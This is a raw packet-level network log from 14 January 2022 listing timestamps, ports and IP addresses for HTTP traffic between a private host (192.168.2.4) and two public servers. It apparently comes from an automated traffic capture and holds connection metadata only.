Jan 14, 2022 12:30:18.302305937 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.302314997 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.302344084 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.302357912 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.302385092 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.302426100 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.302429914 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.302464008 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.302506924 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.303386927 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.303430080 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.303486109 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.303528070 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.303569078 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.303612947 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.303710938 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.303747892 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.303786039 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.303852081 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.303893089 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.303941965 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.308314085 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.308353901 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.308392048 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.308433056 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.308464050 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.308514118 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.308599949 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.308765888 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.308809042 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.308810949 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.308850050 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.308907032 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.309139013 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.309180021 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.309221983 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.309245110 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.309259892 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.309299946 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.309314966 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.309338093 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.309376955 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.309391022 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.309416056 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.309463024 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.310581923 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.310622931 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.310662031 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.310672045 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.310700893 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.310785055 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.310885906 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.310925007 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.310982943 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.311038017 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.311075926 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.311131001 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.324700117 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.328341961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.328469038 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.328480005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.328516960 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.328560114 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.328583956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.328589916 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.328600883 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.328639030 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.328645945 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.328677893 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.328681946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.328716993 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.328721046 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.328757048 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.328778028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.328799009 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.328800917 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.328836918 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.328871012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.328876019 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.328908920 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.328917027 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.328953981 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.328968048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.328974962 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.328993082 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.329031944 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.329040051 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.329055071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.329147100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.329236984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.329329967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.329374075 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.329413891 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.329426050 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.329453945 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.329498053 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.329618931 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.329621077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.329708099 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.329730988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.329747915 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.329752922 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.329819918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.329929113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.330025911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.330121040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.330218077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.330317974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.330420017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.330518961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.330619097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.330718040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.330816984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.330914974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.331013918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.331113100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.331212044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.331309080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.331417084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.331518888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.331619024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.331718922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.331819057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.331918001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.332017899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.332115889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.332212925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.332313061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.332468987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.332576036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.332678080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.332777023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.332876921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.332977057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.333075047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.333170891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.333266973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.333364010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.333482027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.333573103 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.333580971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.333619118 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.333650112 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.333658934 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.333697081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.333699942 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.333731890 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.333789110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.333898067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.333986044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.334085941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.334186077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.334284067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.334327936 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.334368944 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.334379911 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.334393024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.334494114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.334600925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.334701061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.334810019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.334908009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.334925890 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.334985971 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.335009098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.335031033 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.335072994 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.335110903 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.335115910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.335122108 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.335211039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.335273027 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.335311890 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.335316896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.335318089 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.335351944 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.335391045 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.335393906 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.335421085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.335458040 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.335485935 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.335505962 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.335529089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.335630894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.335726976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.335829020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.335930109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.336029053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.336224079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.336374998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.336477041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.336579084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.336652040 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.336684942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.336690903 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.336700916 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.336734056 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.336772919 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.336788893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.336790085 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.336815119 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.336853981 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.336857080 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.336889982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.336898088 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.336939096 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.336951017 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.336978912 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.337016106 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.337023020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.337035894 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.337057114 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.337094069 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.337107897 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.337111950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.337199926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.337301016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.337398052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.337512016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.337610006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.337707996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.337805986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.337904930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.338001013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.338100910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.338200092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.338299990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.338397980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.338526964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.338627100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.338725090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.338824034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.338923931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.339025021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.339123011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.339220047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.350927114 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.350945950 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.351032019 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.354940891 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.354964018 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.355010033 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.356352091 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356374979 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356390953 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356408119 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356415987 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.356457949 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.356481075 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356498957 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356514931 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356515884 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.356534004 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356550932 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356554985 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.356563091 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356580973 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356597900 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356602907 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.356616020 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356620073 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.356633902 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356651068 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356653929 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.356667995 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356684923 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.356688976 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.356723070 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.357460976 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.357480049 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.357518911 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.359646082 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.359680891 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.359735966 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.361212969 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361232996 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361248016 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361264944 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361272097 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.361280918 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361299992 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361315966 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.361347914 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.361509085 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361526012 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361541986 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361558914 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361574888 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361583948 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.361591101 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361610889 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361615896 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.361651897 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.361690044 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.361732006 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.362900019 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.362919092 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.362973928 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.363284111 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.363300085 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.363316059 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.363332033 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.363338947 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.363348007 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.363365889 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.363369942 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.363384008 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.363403082 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.376163006 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.376859903 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.376880884 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.376895905 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.376912117 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.376926899 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.376936913 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.376954079 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.376987934 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.378906012 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.379281044 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.381448030 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.381469011 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.381546974 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.382236004 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.382271051 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.382285118 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.382347107 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.394690990 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.402262926 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402286053 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402296066 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402307034 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402323008 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402339935 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402347088 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402365923 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.402390003 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402407885 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402425051 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.402429104 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.402441025 CET	80	49930	185.163.204.24	192.168.2.4
